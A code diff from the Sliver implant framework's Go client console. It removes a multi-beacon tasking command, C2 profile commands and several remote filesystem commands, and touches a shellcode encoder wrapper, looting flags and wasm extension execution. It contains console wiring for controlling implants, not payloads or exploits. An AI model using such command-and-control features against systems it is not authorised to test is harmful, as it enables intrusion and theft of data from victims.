ImportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ImportC2ProfileStr,
|
||||
Short: "Import HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
c2profiles.ImportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
Flags(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
|
||||
C2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2ProfileStr,
|
||||
Short: "Display C2 profile details",
|
||||
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
c2profiles.C2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
Flags(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display")
|
||||
})
|
||||
FlagComps(C2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
C2ProfileCmd.AddCommand(ImportC2ProfileCmd)
|
||||
server.AddCommand(C2ProfileCmd)
|
||||
|
||||
// [ Post-command declaration setup]-----------------------------------------
|
||||
|
||||
// Everything below this line should preferably not be any command binding
|
||||
|
||||
@@ -21,7 +21,7 @@ package sgn
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
|
||||
func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
shellcodeFile := args[0]
|
||||
rawShellcode, err := os.ReadFile(shellcodeFile)
|
||||
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read shellcode file: %s", err)
|
||||
return
|
||||
@@ -73,7 +73,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
outputFile += ".sgn"
|
||||
}
|
||||
|
||||
err = os.WriteFile(outputFile, shellcodeResp.Data, 0o644)
|
||||
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0o644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write shellcode file: %s", err)
|
||||
return
|
||||
|
||||
+5
-133
@@ -19,8 +19,6 @@ package command
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -96,17 +94,13 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
mext, err := extensions.LoadExtensionManifest(manifest)
|
||||
ext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
//con doesn't appear to be initialised here?
|
||||
//con.PrintErrorf("Failed to load extension: %s", err)
|
||||
fmt.Printf("Failed to load extension: %s\n", err)
|
||||
con.PrintErrorf("Failed to load extension: %s", err)
|
||||
continue
|
||||
}
|
||||
for _, ext := range mext.ExtCommand {
|
||||
extensions.ExtensionRegisterCommand(ext, sliver, con)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(ext, sliver, con)
|
||||
}
|
||||
|
||||
// [ Reconfig ] ---------------------------------------------------------------
|
||||
@@ -462,7 +456,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
}
|
||||
sliver.AddCommand(executeCmd)
|
||||
Flags("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||
f.BoolP("token", "T", false, "execute command with current token (windows only)")
|
||||
f.BoolP("output", "o", false, "capture command output")
|
||||
f.BoolP("save", "s", false, "save output to a file")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
@@ -471,7 +465,6 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
||||
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
|
||||
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
@@ -797,25 +790,6 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
carapace.ActionValues().Usage("path to dest file (required)"),
|
||||
)
|
||||
|
||||
cpCmd := &cobra.Command{
|
||||
Use: consts.CpStr,
|
||||
Short: "Copy a file",
|
||||
Long: help.GetHelpFor([]string{consts.CpStr}),
|
||||
Args: cobra.ExactArgs(2),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
filesystem.CpCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(cpCmd)
|
||||
Flags("", false, cpCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
carapace.Gen(cpCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to source file (required)"),
|
||||
carapace.ActionValues().Usage("path to dest file (required)"),
|
||||
)
|
||||
|
||||
lsCmd := &cobra.Command{
|
||||
Use: consts.LsStr,
|
||||
Short: "List current directory",
|
||||
@@ -945,94 +919,9 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
||||
)
|
||||
|
||||
grepCmd := &cobra.Command{
|
||||
Use: consts.GrepStr,
|
||||
Short: "Search for strings that match a regex within a file or directory",
|
||||
Long: help.GetHelpFor([]string{consts.GrepStr}),
|
||||
Args: cobra.ExactArgs(2),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
filesystem.GrepCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(grepCmd)
|
||||
Flags("", false, grepCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
f.BoolP("recursive", "r", false, "search recursively")
|
||||
f.BoolP("insensitive", "i", false, "case-insensitive search")
|
||||
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
|
||||
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
|
||||
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
|
||||
f.BoolP("exact", "e", false, "match the search term exactly")
|
||||
})
|
||||
carapace.Gen(grepCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("regex to search the file for"),
|
||||
carapace.ActionValues().Usage("remote path / file to search in"),
|
||||
)
|
||||
|
||||
headCmd := &cobra.Command{
|
||||
Use: consts.HeadStr,
|
||||
Short: "Grab the first number of bytes or lines from a file",
|
||||
Long: help.GetHelpFor([]string{consts.HeadStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
/*
|
||||
The last argument tells head if the user requested the head or tail of the file
|
||||
True means head, false means tail
|
||||
*/
|
||||
filesystem.HeadCmd(cmd, con, args, true)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(headCmd)
|
||||
Flags("", false, headCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("hex", "x", false, "display as a hex dump")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
|
||||
})
|
||||
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
tailCmd := &cobra.Command{
|
||||
Use: consts.TailStr,
|
||||
Short: "Grab the last number of bytes or lines from a file",
|
||||
Long: help.GetHelpFor([]string{consts.TailStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
/*
|
||||
The last argument tells head if the user requested the head or tail of the file
|
||||
True means head, false means tail
|
||||
*/
|
||||
filesystem.HeadCmd(cmd, con, args, false)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(tailCmd)
|
||||
Flags("", false, tailCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("hex", "x", false, "display as a hex dump")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
|
||||
})
|
||||
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
uploadCmd := &cobra.Command{
|
||||
Use: consts.UploadStr,
|
||||
Short: "Upload a file or directory",
|
||||
Short: "Upload a file",
|
||||
Long: help.GetHelpFor([]string{consts.UploadStr}),
|
||||
Args: cobra.RangeArgs(1, 2),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
@@ -1043,9 +932,6 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
sliver.AddCommand(uploadCmd)
|
||||
Flags("", false, uploadCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
|
||||
f.BoolP("recurse", "r", false, "recursively upload a directory")
|
||||
f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination")
|
||||
f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory")
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
carapace.Gen(uploadCmd).PositionalCompletion(
|
||||
@@ -1090,20 +976,6 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
|
||||
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
|
||||
|
||||
mountCmd := &cobra.Command{
|
||||
Use: consts.MountStr,
|
||||
Short: "Get information on mounted filesystems",
|
||||
Long: help.GetHelpFor([]string{consts.MountStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
filesystem.MountCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
Flags("", false, mountCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
sliver.AddCommand(mountCmd)
|
||||
|
||||
// [ Network ] ---------------------------------------------
|
||||
|
||||
ifconfigCmd := &cobra.Command{
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
Taskmany
|
||||
========
|
||||
This package implements the `taskmany` command, which is used to task multiple beacons or sessions at once
|
||||
@@ -1,199 +0,0 @@
|
||||
package taskmany
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2023 ActualTrash
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// TaskmanyCmd - Task many beacons / sessions
|
||||
func TaskmanyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
con.PrintErrorf("Must specify subcommand. See taskmany --help for supported subcommands.\n")
|
||||
}
|
||||
|
||||
// Helper function to wrap grumble commands with taskmany logic
|
||||
func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Command {
|
||||
wc := &cobra.Command{
|
||||
Use: c.Use,
|
||||
Short: c.Short,
|
||||
Long: c.Long,
|
||||
Args: c.Args,
|
||||
Run: wrapFunctionWithTaskmany(con, c.Run),
|
||||
}
|
||||
wc.Flags().AddFlagSet(c.Flags())
|
||||
wc.PersistentFlags().AddFlagSet(c.PersistentFlags())
|
||||
return wc
|
||||
}
|
||||
|
||||
// Wrap a function to run it for each beacon / session
|
||||
func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) {
|
||||
return func(cmd *cobra.Command, args []string) {
|
||||
defer con.Println()
|
||||
|
||||
sessions, beacons, err := SelectMultipleBeaconsAndSessions(con)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Println()
|
||||
|
||||
// Save current active beacon or session
|
||||
origSession, origBeacon := con.ActiveTarget.Get()
|
||||
|
||||
nB := 0
|
||||
nBSkipped := 0
|
||||
for _, b := range beacons {
|
||||
if !b.IsDead {
|
||||
con.ActiveTarget.Set(nil, b)
|
||||
f(cmd, args)
|
||||
nB += 1
|
||||
} else {
|
||||
nBSkipped += 1
|
||||
}
|
||||
}
|
||||
|
||||
nS := 0
|
||||
nSSkipped := 0
|
||||
for _, s := range sessions {
|
||||
if !s.IsDead {
|
||||
con.ActiveTarget.Set(s, nil)
|
||||
f(cmd, args)
|
||||
nS += 1
|
||||
} else {
|
||||
nSSkipped += 1
|
||||
}
|
||||
}
|
||||
|
||||
// Restore active session / beacon
|
||||
con.ActiveTarget.Set(origSession, origBeacon)
|
||||
|
||||
con.PrintInfof("Tasked %d sessions and %d beacons >:D\n", nS, nB)
|
||||
if nBSkipped > 0 || nSSkipped > 0 {
|
||||
con.PrintWarnf("Skipped %d dead sessions and %d dead beacons\n", nSSkipped, nBSkipped)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clientpb.Session, []*clientpb.Beacon, error) {
|
||||
// Get and sort sessions
|
||||
sessionsObj, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sessions := sessionsObj.Sessions
|
||||
sort.Slice(sessions, func(i, j int) bool {
|
||||
return sessions[i].ID < sessions[j].ID
|
||||
})
|
||||
|
||||
// Get and sort beacons
|
||||
beaconsObj, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
beacons := beaconsObj.Beacons
|
||||
sort.Slice(beacons, func(i, j int) bool {
|
||||
return beacons[i].ID < beacons[j].ID
|
||||
})
|
||||
|
||||
if len(beacons) == 0 && len(sessions) == 0 {
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
sessionOptionMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions {
|
||||
option := fmt.Sprintf("%s\t%s\t%s\t%s\t%s\t%s\t%s",
|
||||
"SESSION",
|
||||
strings.Split(session.ID, "-")[0],
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
session.Username,
|
||||
fmt.Sprintf("%s/%s", session.OS, session.Arch),
|
||||
)
|
||||
fmt.Fprintf(table, option+"\n")
|
||||
o := strings.ReplaceAll(option, "\t", "")
|
||||
sessionOptionMap[o] = session
|
||||
}
|
||||
|
||||
beaconOptionMap := map[string]*clientpb.Beacon{}
|
||||
for _, beacon := range beacons {
|
||||
option := fmt.Sprintf("%s\t%s\t%s\t%s\t%s\t%s\t%s",
|
||||
"BEACON",
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
)
|
||||
fmt.Fprintf(table, option+"\n")
|
||||
o := strings.ReplaceAll(option, "\t", "")
|
||||
beaconOptionMap[o] = beacon
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.MultiSelect{
|
||||
Message: "Select sessions and beacons:",
|
||||
Options: options,
|
||||
}
|
||||
selected := []string{}
|
||||
survey.AskOne(prompt, &selected)
|
||||
|
||||
if len(selected) == 0 {
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons selected 🤔")
|
||||
}
|
||||
|
||||
selectedSessions := []*clientpb.Session{}
|
||||
selectedBeacons := []*clientpb.Beacon{}
|
||||
for _, s := range selected {
|
||||
s = strings.ReplaceAll(s, " ", "")
|
||||
s = strings.ReplaceAll(s, "\t", "")
|
||||
session, ok := sessionOptionMap[s]
|
||||
if ok {
|
||||
selectedSessions = append(selectedSessions, session)
|
||||
}
|
||||
|
||||
beacon, ok := beaconOptionMap[s]
|
||||
if ok {
|
||||
selectedBeacons = append(selectedBeacons, beacon)
|
||||
}
|
||||
}
|
||||
|
||||
return selectedSessions, selectedBeacons, nil
|
||||
}
|
||||
@@ -20,6 +20,7 @@ package tasks
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -781,7 +782,7 @@ func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
}
|
||||
err = os.WriteFile(saveTo, data, 0o600)
|
||||
err = ioutil.WriteFile(saveTo, data, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -119,7 +120,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
|
||||
appDir := assets.GetRootAppDir()
|
||||
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
|
||||
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
|
||||
err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
|
||||
if err != nil {
|
||||
con.Printf("Failed to save update check time %s", err)
|
||||
}
|
||||
|
||||
@@ -27,12 +27,10 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// wasmMaxModuleSize - Arbitrary 1.5Gb limit to put us well under the 2Gb max gRPC message size
|
||||
@@ -141,31 +139,20 @@ func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if execWasmResp.Response != nil && execWasmResp.Response.Async {
|
||||
con.AddBeaconCallback(execWasmResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execWasmResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Executed wasm extension '%s' successfully\n", execWasmReq.Name)
|
||||
os.Stdout.Write(execWasmResp.Stdout)
|
||||
os.Stderr.Write(execWasmResp.Stderr)
|
||||
})
|
||||
} else {
|
||||
con.PrintInfof("Executed wasm extension '%s' successfully\n", execWasmReq.Name)
|
||||
os.Stdout.Write(execWasmResp.Stdout)
|
||||
os.Stderr.Write(execWasmResp.Stderr)
|
||||
if execWasmResp.Response != nil && execWasmResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", execWasmResp.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Executed wasm extension '%s' successfully\n", execWasmReq.Name)
|
||||
|
||||
os.Stdout.Write(execWasmResp.Stdout)
|
||||
os.Stderr.Write(execWasmResp.Stderr)
|
||||
}
|
||||
|
||||
func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
con.PrintErrorf("No active session\n")
|
||||
if beacon := con.ActiveTarget.GetBeacon(); beacon != nil {
|
||||
con.PrintWarnf("Wasm modules cannot be executed with --pipe in beacon mode\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -23,8 +23,8 @@ import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"text/template"
|
||||
|
||||
@@ -95,7 +95,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
if !strings.HasSuffix(save, ".conf") {
|
||||
save += ".conf"
|
||||
}
|
||||
err = os.WriteFile(save, output.Bytes(), 0o600)
|
||||
err = ioutil.WriteFile(save, output.Bytes(), 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -192,7 +192,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
|
||||
consoleLog := getConsoleLogFile()
|
||||
consoleLogStream, err := con.ClientLogStream("json")
|
||||
if err != nil {
|
||||
log.Printf("Could not get client json log stream: %s", err)
|
||||
log.Printf("Could not get client log stream: %s", err)
|
||||
}
|
||||
con.setupLogger(consoleLog, consoleLogStream)
|
||||
defer consoleLog.Close()
|
||||
@@ -202,9 +202,6 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
|
||||
defer asciicastLog.Close()
|
||||
|
||||
asciicastStream, err := con.ClientLogStream("asciicast")
|
||||
if err != nil {
|
||||
log.Printf("Could not get client asciicast log stream: %s", err)
|
||||
}
|
||||
con.setupAsciicastRecord(asciicastLog, asciicastStream)
|
||||
}
|
||||
|
||||
@@ -550,7 +547,7 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
|
||||
Priority: uint32(0),
|
||||
})
|
||||
config := &clientpb.ImplantConfig{
|
||||
ID: session.ID,
|
||||
Name: session.GetName(),
|
||||
GOOS: session.GetOS(),
|
||||
GOARCH: session.GetArch(),
|
||||
Debug: true,
|
||||
@@ -689,11 +686,6 @@ func (s *ActiveTarget) IsSession() bool {
|
||||
return s.session != nil
|
||||
}
|
||||
|
||||
// IsBeacon - Is the current target a beacon?
|
||||
func (s *ActiveTarget) IsBeacon() bool {
|
||||
return s.beacon != nil
|
||||
}
|
||||
|
||||
// AddObserver - Observers to notify when the active session changes
|
||||
func (s *ActiveTarget) AddObserver(observer Observer) int {
|
||||
s.observerID++
|
||||
@@ -801,17 +793,6 @@ func (s *ActiveTarget) Background() {
|
||||
}
|
||||
}
|
||||
|
||||
// GetHostUUID - Get the Host's UUID (ID in the database)
|
||||
func (s *ActiveTarget) GetHostUUID() string {
|
||||
if s.IsSession() {
|
||||
return s.session.UUID
|
||||
} else if s.IsBeacon() {
|
||||
return s.beacon.UUID
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// Expose or hide commands if the active target does support them (or not).
|
||||
// Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc.
|
||||
func (con *SliverConsoleClient) ExposeCommands() {
|
||||
|
||||
@@ -163,7 +163,7 @@ func (con *SliverConsoleClient) Println(args ...any) {
|
||||
logger := slog.New(con.jsonHandler)
|
||||
format := strings.Repeat("%s", len(args))
|
||||
logger.Info(fmt.Sprintf(format, args))
|
||||
con.printf(format+"\n", args...)
|
||||
con.printf(format, args...)
|
||||
}
|
||||
|
||||
// PrintInfof prints an info message immediately below the last line of output.
|
||||
|
||||
@@ -127,7 +127,6 @@ const (
|
||||
BackgroundStr = "background"
|
||||
InfoStr = "info"
|
||||
UseStr = "use"
|
||||
TaskmanyStr = "taskmany"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
@@ -143,8 +142,6 @@ const (
|
||||
SettingsStr = "settings"
|
||||
SearchStr = "search"
|
||||
TrafficEncodersStr = "traffic-encoders"
|
||||
C2ProfileStr = "c2profiles"
|
||||
ImportC2ProfileStr = "import"
|
||||
|
||||
// Generic
|
||||
|
||||
@@ -182,7 +179,6 @@ const (
|
||||
HttpsStr = "https"
|
||||
NamedPipeStr = "named-pipe"
|
||||
TCPListenerStr = "tcp"
|
||||
UDPListenerStr = "udp"
|
||||
|
||||
MsfStr = "msf"
|
||||
MsfInjectStr = "msf-inject"
|
||||
@@ -202,24 +198,18 @@ const (
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
CpStr = "cp"
|
||||
RmStr = "rm"
|
||||
StageStr = "stage"
|
||||
MkdirStr = "mkdir"
|
||||
CdStr = "cd"
|
||||
PwdStr = "pwd"
|
||||
CatStr = "cat"
|
||||
DownloadStr = "download"
|
||||
HeadStr = "head"
|
||||
TailStr = "tail"
|
||||
GrepStr = "grep"
|
||||
UploadStr = "upload"
|
||||
IfconfigStr = "ifconfig"
|
||||
NetstatStr = "netstat"
|
||||
ChmodStr = "chmod"
|
||||
ChownStr = "chown"
|
||||
ChtimesStr = "chtimes"
|
||||
MountStr = "mount"
|
||||
|
||||
MemfilesStr = "memfiles"
|
||||
|
||||
@@ -263,7 +253,6 @@ const (
|
||||
WgSocksStr = "wg-socks"
|
||||
WgPortFwdStr = "wg-portfwd"
|
||||
MonitorStr = "monitor"
|
||||
MonitorConfigStr = "config"
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
@@ -296,12 +285,11 @@ const (
|
||||
|
||||
BuildersStr = "builders"
|
||||
|
||||
CrackStr = "crack"
|
||||
StationsStr = "stations"
|
||||
WordlistsStr = "wordlists"
|
||||
RulesStr = "rules"
|
||||
Hcstat2Str = "hcstat2"
|
||||
DefaultC2Profile = "default"
|
||||
CrackStr = "crack"
|
||||
StationsStr = "stations"
|
||||
WordlistsStr = "wordlists"
|
||||
RulesStr = "rules"
|
||||
Hcstat2Str = "hcstat2"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -139,7 +139,7 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
